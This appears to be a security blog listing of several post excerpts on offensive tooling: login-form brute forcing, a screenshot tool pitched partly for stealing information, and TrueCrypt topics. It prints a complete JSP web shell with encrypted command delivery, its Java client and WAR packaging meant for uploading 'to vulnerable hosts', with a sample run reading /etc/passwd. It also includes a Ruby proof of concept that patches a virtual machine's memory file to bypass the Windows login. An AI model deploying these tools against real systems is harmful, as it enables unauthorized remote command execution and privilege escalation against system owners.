Brute forcing encrypted web login forms

There are a ton of ways to brute force login forms, you just need to google for it and the first couple of hits will usually do it. That is of course unless you have Burp in which case it will be sufficient for most of the forms out there. Sometimes however it will not be so straight forward and you’ll need to write your own tool(s) for it. This can be for a variety of reasons, but usually it boils down to either a custom protocol over HTTP(S) or some custom encryption of the data entered. In this post we are going to look at two ways of writing these tools:

  • Your own python script
  • A Greasemonkey script

Since to write both tools you first need to understand and analyse the non-default login form let’s do the analysis part first. If you want to follow along you’ll need the following tools:

  • Python
  • Burp free edition
  • Firefox with the Greasemonkey plugin
  • FoxyProxy
  • FireFox developer tools (F12)

Please note that even though we are using some commercially available software as an example, this is NOT a vulnerability in the software itself. Most login forms can be brute forced, some forms slower than others ;) As usual you can also skip the blog post and directly download the python script & the Greasemonkey script. Please keep in mind that they might need to be adjusted for your own needs.

Continue reading “Brute forcing encrypted web login forms”

Encrypted Screenshots

You might be wondering why on earth you’d need to take encrypted screenshots, in that case here are a couple of reasons:

  • The machine on which you take screenshots has different levels of classification
    • Although in this case you *should* definitely review the full source, specially the crypto part
  • You want to make it harder for the victim to find out what information has been captured (stolen)
  • Just in case you have to transport them on an insecure medium
  • Because it’s an easy way to steal information
  • Because you want to keep your own screenshots safe
    • Don’t generate the key pair on the same machine or save the private key on the same machine!

You can skip directly to ‘cryptoshot’ on my github.

Compiling cryptoshot

I used Visual Studio 2010 express, if you use other versions you might have to resolve possible issues yourself. It should compile without problems if you set the active configuration to ‘Release’. If you run into any problems check one of the following:

  • Are the additional directories ‘libfiles’ and ‘libheaderfiles’ configured correctly under the ‘c/c++’ and linker options?
  • Under ‘Linker->input’ add ‘libcmt.lib’ to the ‘Ignore Specific Default Libraries’ line
  • Set ‘C/C++->Compile As’ to ‘Compile As C Code’

*UPDATE 12-12-2014* WARNING: The above probably results in a missing DLL error when running the binary, do read the comment below this post.

Things I (re)learned

Cryptography is hard, very hard

So for some odd reason I had associated Message Authentication Codes (MAC) with padding oracle attacks. Since the decryption of the screenshots would be done by another process, most probably with a huge delay in time and with no way for an attack to access the possible output, I thought why would I do a MAC over the encrypted data? Luckily for me the people in the #crypto  channel on freenode where willing to explain to me that padding oracle attacks are not the only thing an attacker can do if they can ‘flip bits’ in your encrypted blob. In the case of cryptoshot for example if the attacker can guess the dimensions of the underlying image he could draw his own image. So I added an HMAC to verify before decrypting anything. Additionally for the encryption of the symmetric keys etc, I was using RSA PKCS1 and it had to be swapped for RSA OAEP. Reason being that there are multiple known attacks to PKCS1 encryption.

Multi monitors & the virtual screen

A virtual screen spans MULTLIPLE monitors! Let’s take a look at this MSDN picture:

IC444273

That makes it more clear doesn’t it? The virtual screen can span across multiple monitors and since the primary monitor has 0,0 as it’s origin, everything left from it is negative. So when using the BitBlt function to make a screenshot you need to make sure you distinguish between the left side position of the virtual screen (which will be negative) and the width in pixels of the virtual screen. Which more precise is the difference between using GetSystemMetrics() with SM_XVIRTUALSCREEN and SM_CXVIRTUALSCREEN.

In case you are wondering about the image format, it’s BMP. I looked into creating it as JPEG but then decided it would mean quality loss. So instead I opted to use zlib and compress the entire image before encrypting it. I was to lazy to opt for the PNG option.

Virtualized Firewire attack

This has been on my mind for a while but haven’t found the time to test it out yet, so here is the midnight idea if anyone wants to test it out.

Sometimes you need to become local administrator on a windows machine which has full disk encryption, is fully up to date and has very little software which could present you with a decent attack surface. Normally you would just whip out your readily available firewire attack tools, hook up your equipment and have a shell with elevated privileges in no-time. Let’s suppose the target machine doesn’t have a firewire port or it has the drivers disabled, how could we still pwn it?

This is when theory gets mixed with practical stuff (aka the part I haven’t practically tested yet). The essence of the firewire attack is to obtain direct memory access (DMA) with the goal to freely adjust memory. What if we could access the memory without the need for a firewire port, think virtualization. All (afaik) virtualization software uses a regular file on disk which represents the memory of the virtual machine. You prolly feel it coming by now, the attack boils down to:

 

Boot the target machine from a cd/dvd/usb virtualize the harddisk, pause the machine, patch the memory file, resume the machine, obtain elevated privileges.

Now that doesn’t sound to hard does it? Just one important obstacle: you do need the crypto credentials to be able to perform this attack. Think social engineering, hardware keylogger or just asking nicely.

I have performed a simulation of this attack to see if at least the part of pausing the virtual machine, patching the memory file and resuming it does work. The result is as expected it DOES work. Here is the ruby POC snippet that i wrote to test it out:

#used the offsets from winlockpwn
#POC virtualized firewire, https://diablohorn.wordpress.com
File.open("Windows XP Professional.vmem", "rb+") do |io|
 while(b = io.read(9)) #read the exact amount of bytes needed for the signature
 data = b.unpack("H18")
 if data.to_s == "8BFF558BEC83EC50A1".downcase #lol i like pretty uppercase hex in code
 spos = io.pos-9
 io.seek(io.pos+4) #skip the cookie bytes
 if io.read(3).unpack("H6").to_s == "8B4D20".downcase #this seems pretty constant check it to be sure
 puts "found: #{io.pos}"
 io.seek(spos+165) #advance to what we actually want to patch
 puts "Patching offset: " + io.pos.to_s
 puts "Original bytes: " + io.read(2).unpack("H4").to_s
 puts "Patching with B001"
 io.seek(io.pos-2)
 count = io.write("\xb0\x01") #patch it
 io.flush
 io.fsync #really, really make sure we write to disk
 puts "Written bytes #{count}"
 io.seek(io.pos-2)
 puts "Result: " + io.read(2).unpack("H4").to_s #verify it
 io.close
 exit #case closed
 end
 end
 #this kinda results in an endless loop
 fpos = io.pos-8
 io.seek(fpos)
 Signal.trap("USR1") do
 puts "position: #{fpos}b, #{fpos/1048576}mb"
 puts "data: %s" % data
 end
 end
end

The main obstacle at the moment is actually testing this out by virtualizing a real hard disk, since afaik it can result in a lot of problems which might prevent it from virtualizing correctly.

You might be wondering why we don’t just decrypt the harddisk, adjust some executable and encrypt the harddisk with the final result of elevated privileges. Well not all full disk encryption software allows you to decrypt the disk with the credentials you have. Some solution (specially if they are corporate) require additional keys and/or action to be taken before you are able to fully decrypt the harddisk. I assume that if you invest enough reversing time you might be able to still decrypt the harddisk with the credentials you have.

If anyone actually tests this out I would love to hear if it works, in case I get around to testing this myself I’ll let you guys know.

References

http://www.breaknenter.org/projects/ftwautopwn/
http://www.breaknenter.org/2011/05/winlockpwn-on-ubuntu/
http://www.moonloop.org/bin/view/Moonloop/Article:k9iBW83eo9cBsdUlg7Red6cUaILIXVGw
http://md.hudora.de/presentations/firewire/PacSec2004.pdf

Simple JSP shell, Simple os detection & prolly flawed encrypted commands

So I wanted a JSP shell which would make it a little bit harder to get the executed commands by sniffing the wire, here is a quick and dirty example of such a shell. I might improve it and also encrypt the server response and maybe implement some signed diffie-hellman to agree on the key to use for encryption. For the moment being this works just fine, as said this was a quick hack so dirty code all over the place.

Functions:

  • Simple OS detection linux/windows, selects the correct underlying shell accordingly
  • Commands shouldn’t break when using pipes and it displays the error stream also(can be inconvenient)
  • Basic (possibly flawed) AES 128bit encryption of the commands you send
  • Option to work without encryption

Here is the JSP part:

<%--
Simple JSP shell, Simple os detection & prolly flawed encrypted commands
Author: https://diablohorn.wordpress.com
Borrowed and modified code from the following sources:
 http://www.javaworld.com/javaworld/jw-12-2000/jw-1229-traps.html?page=4
 http://stackoverflow.com/questions/992019/java-256bit-aes-encryption
 http://java.sun.com/developer/technicalArticles/Security/AES/AES_v1.html
--%>
<%@page import="java.util.*,java.io.*,java.security.AlgorithmParameters,java.security.spec.KeySpec,javax.crypto.Cipher,javax.crypto.SecretKey,javax.crypto.SecretKeyFactory,javax.crypto.spec.IvParameterSpec,javax.crypto.spec.PBEKeySpec,javax.crypto.spec.SecretKeySpec"%>
<%!
public byte[] hexStringToByteArray(String s) {
 int len = s.length();
 byte[] data = new byte[len / 2];
 for (int i = 0; i < len; i += 2) {
 data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
 + Character.digit(s.charAt(i+1), 16));
 }
 return data;
}
%>
<%!
/**
decrypt
*/

public String cmdDecrypt(String cmd,String iv){
 try{
 char[] password = {'t','e','s','t'};
 byte[] salt = {'s','a','l','t','w','e','a','k'};
 SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
 KeySpec spec = new PBEKeySpec(password, salt, 1024, 128);
 SecretKey tmp = factory.generateSecret(spec);
 SecretKey secret = new SecretKeySpec(tmp.getEncoded(), "AES");

 Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
 cipher.init(Cipher.DECRYPT_MODE, secret, new IvParameterSpec(hexStringToByteArray(iv)));
 String plaintext = new String(cipher.doFinal(hexStringToByteArray(cmd)));
 return plaintext;
 } catch(Exception e){
 return null;
 }
}
%>

<%
String temp = request.getParameter("t");
String i = request.getParameter("i");
String ce = request.getParameter("e");
String cmd2exec = new String();
if(ce == null){
 cmd2exec = cmdDecrypt(temp,i);
 if( cmd2exec == null){
 out.println("error");
 return;
 }
}else{
 cmd2exec = temp;
}
try
{
 String osName = System.getProperty("os.name" );
 out.println(osName);
 String[] cmd = new String[3];
 if( osName.toLowerCase().contains("windows"))
 {
 cmd[0] = "cmd.exe" ;
 cmd[1] = "/C" ;
 cmd[2] = cmd2exec;
 }
 else if( osName.toLowerCase().contains("linux"))
 {
 cmd[0] = "/bin/bash" ;
 cmd[1] = "-c" ;
 cmd[2] = cmd2exec;
 }else{
 cmd[0] = cmd2exec;
 }

Runtime rt = Runtime.getRuntime();
 Process proc = rt.exec(cmd);
 try
 {
 InputStreamReader iser = new InputStreamReader(proc.getErrorStream());
 InputStreamReader isir = new InputStreamReader(proc.getInputStream());
 BufferedReader ber = new BufferedReader(iser);
 BufferedReader bir = new BufferedReader(isir);
 String errline=null;
 String inpline=null;

 while ( (inpline = bir.readLine()) != null)
 out.println(inpline);

 while ( (errline = ber.readLine()) != null)
 out.println(errline);

 } catch (IOException ioe) {
 ioe.printStackTrace();
 }
 int exitVal = proc.waitFor();
 out.println("ExitValue: " + exitVal);
} catch (Exception e) {
 e.printStackTrace();
}
%>

The downside however is that you need some kind of client to send the commands to the shell, so here is the client part:

import java.io.*;
import java.net.*;

import java.security.AlgorithmParameters;
import java.security.spec.KeySpec;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;

/**
 * Simple JSP shell, Simple os detection & prolly flawed encrypted commands
 * Author: https://diablohorn.wordpress.com
 * Borrowed and modified code from the following sources:
 * http://www.javaworld.com/javaworld/jw-12-2000/jw-1229-traps.html?page=4
 * http://stackoverflow.com/questions/992019/java-256bit-aes-encryption
 * http://java.sun.com/developer/technicalArticles/Security/AES/AES_v1.html
 * http://www.devdaily.com/java/edu/pj/pj010011
 */
public class Main {
 /**
 * Turns array of bytes into string
 *
 * @param buf Array of bytes to convert to hex string
 * @return Generated hex string
 */
 public static String asHex(byte buf[]) {
 StringBuffer strbuf = new StringBuffer(buf.length * 2);
 int i;

for (i = 0; i < buf.length; i++) {
 if (((int) buf[i] & 0xff) < 0x10) {
 strbuf.append("0");
 }

strbuf.append(Long.toString((int) buf[i] & 0xff, 16));
 }

return strbuf.toString();
 }

public static void main(String[] args) {
 try{
 URL u;
 InputStream is = null;
 DataInputStream dis;
 String s;
 char[] password = {'t','e','s','t'};
 byte[] salt = {'s','a','l','t','w','e','a','k'};

 SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
 KeySpec spec = new PBEKeySpec(password, salt, 1024, 128);
 SecretKey tmp = factory.generateSecret(spec);
 SecretKey secret = new SecretKeySpec(tmp.getEncoded(), "AES");

Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
 cipher.init(Cipher.ENCRYPT_MODE, secret);
 AlgorithmParameters params = cipher.getParameters();
 byte[] iv = params.getParameterSpec(IvParameterSpec.class).getIV();
 System.out.println("pcmd:" + args[1]);
 byte[] ciphertext = cipher.doFinal(args[1].getBytes());
 System.out.println("iv:" + Main.asHex(iv));
 System.out.println("ecmd:" + Main.asHex(ciphertext));

 u = new URL(args[0] + "?t=" + Main.asHex(ciphertext) + "&i=" + Main.asHex(iv));
 System.out.println("url:"+u);
 is = u.openStream();
 dis = new DataInputStream(new BufferedInputStream(is));
 while ((s = dis.readLine()) != null) {
 System.out.println(s);
 }

 }catch(Exception e){
 System.out.println(e);
 }
 }

}

To use the JSP you need to package it inside a WAR file before you can deploy it on a tomcat or jboss for example. Just create the following directory structure(assuming you put the shell inside “index.jsp”):

. js (you can choose another name)
.. index.jsp
.. WEB-INF
… web.xml

Then just put the following bash code in a file and chmod +x it:

#!/bin/bash
rm js.war
jar cvf js.war -C js .

That should create a js.war, in the same directory, that you can use to upload to vulnerable hosts. If you are paying attention you’ll be like “What goes inside the web.xml?”, put the following inside it:

<?xml version=”1.0″ encoding=”ISO-8859-1″?>
<web-app>
</web-app>

That’s all, the war file should deploy correctly and the client should be able to talk to it. If something fails you can always try to talk to it with your browser using unencrypted commands, just append the “e” parameter and assign something to it.

The client can be easily compiled, just put the code inside a Main.java file and then go like:

javac Main.java

You can then use the client like:

java Main http://10.0.0.13:8080/js/ “cat /etc/passwd | grep -i root”

If all works out the output will be similar to this one:

java Main http://10.0.0.13:8080/js/ “cat /etc/passwd | grep -i root”
pcmd:cat /etc/passwd | grep -i root
iv:cdead18f16660525fcdafd74fef703dc
ecmd:796eaf2f7fb82907533472141051f17ff1f5b08dfe05cc7f6992c92f9d45f931
url:http://10.0.0.13:8080/js/?t=796eaf2f7fb82907533472141051f17ff1f5b08dfe05cc7f6992c92f9d45f931&i=cdead18f16660525fcdafd74fef703dc

Linux
root:x:0:0:root:/root:/bin/bash
ExitValue: 0

Don’t forget to change default passwords, salts, names and to review the code for possible bugs, if you are planning on using this for your own fun. Read the code if something doesn’t work and improve upon it :)

Truecrypt, a variety of bruteforcing options

A lot of people ask the question: How can I recover my truecrypt password? Others ask the question: How can I crack a truecrypt container? So out of curiousity I went on a little investigation to know what the current tools are to bruteforce a truecrypt container. So here is a small compilation of the methods I’ve found to bruteforce a truecrypt container.

Continue reading “Truecrypt, a variety of bruteforcing options”

Truecrypt Update & Speeds

Well truecrypt 6.1 has been released and I thought it was time to update my machine. Since I’ve started using truecrypt I’ve kept screenshot of the benchmarks so for the ones who love numbers here they are. I’ve also made volume headers backup and disabled the boot message that states the machine is encrypted with truecrypt. I have to admit I’m totally fond of truecrypt it’s easy and good for free. Oh and YES I’ve made volume header backups and rescuedisks, you never know when bad luck strikes.

Continue reading “Truecrypt Update & Speeds”

IDE Sniffing || Detect WDE/FDE

Maybe “IDE Sniffing” is a bit misleading…but I was not sure how to call it otherwise. So this is the problem context: You need to know if a harddisk is encrypted but you are not allowed to disconnect or move the computer. You have no access to the computer, like no login,no firewire to exploit and no vulnerable services running. Let’s also assume that this computer is using normal IDE ( I know it’s a bit outdated) disks. How on earth are we going to find out?

Continue reading “IDE Sniffing || Detect WDE/FDE”

FDE / WDE spiced up

So you got your harddisks encrypted and feel totally secure? Think again.

Investigators have got some nifty devices which are capable of moving your pc without disconnecting it. Effectively bypassing FDE/WDE encryption if you are not used to lock your computer. Although locking doesn’t seem to be the answer nowadays with all those firewire hacks. So what’s left to do?

First of all disable firewire and make sure you always lock your pc. In the strange case that you do not lock your pc I made some easy yet (this hasn’t been tested in a real life situation) effective code to frustrate the investigator. This is just some quick POC (forgive me the messy code) I wrote. In a lab environment this works, so don’t blaim me if this doesn’t work in a real life situation.

Continue reading “FDE / WDE spiced up”